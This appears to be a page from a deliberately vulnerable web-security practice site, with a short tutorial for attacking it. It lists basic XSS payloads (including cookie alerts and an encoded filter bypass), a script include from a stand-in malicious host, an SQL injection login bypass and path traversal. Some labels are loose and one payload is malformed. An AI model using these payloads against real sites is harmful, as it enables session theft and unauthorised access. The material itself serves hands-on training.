XSS & CSRFIFrame InjectionRFI & LFIFlashCode Injection & CookiesTutorials & Walkthroughs

This site is vulnerable to many different web attacks, the examples are very basic to get more information i will leave a set of references.

User Name:

Password:

Let's start by using Xss!

There are many different Xss and CSRF attacks that can be used, lets start with the easy ones.

1) <script>alert('xss');<script>
2) <script>alert(document.cookie);</script>
3) <IMG SRC=javascript:alert('xss') /;>
4) Encoded for filter bypass - %3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E

Now CSRF!

1) <script src="http://yourMaliciousCodeSite.com"></script>
2) <img src="http://some site you want to grab from">
2) <img src="http://a vulnerable site you want another user to inject to">

There are three ways to access this site:

1) Sql Injection - ' or 1=1--
Through the right query string with sql injection you should be able to dump the user:pass combo from the server, or log in as admin

2) Forced Browsing - ../../
The use of forced browsing is very common in servers that have not been secured properly. Sometimes you can find a text file containing information, or even access htdocs on a linux box. This site was set up for demonstration purposes. The file is located in the folder named "pass"

3) Examine the code to see if you see any hints
Many times developers will leave pertinant information inside of the code because they are rushed and forget to remove comments. Other possibilities are they hard coded certain information that can be use full for an attack. Always examine the code to look for clues.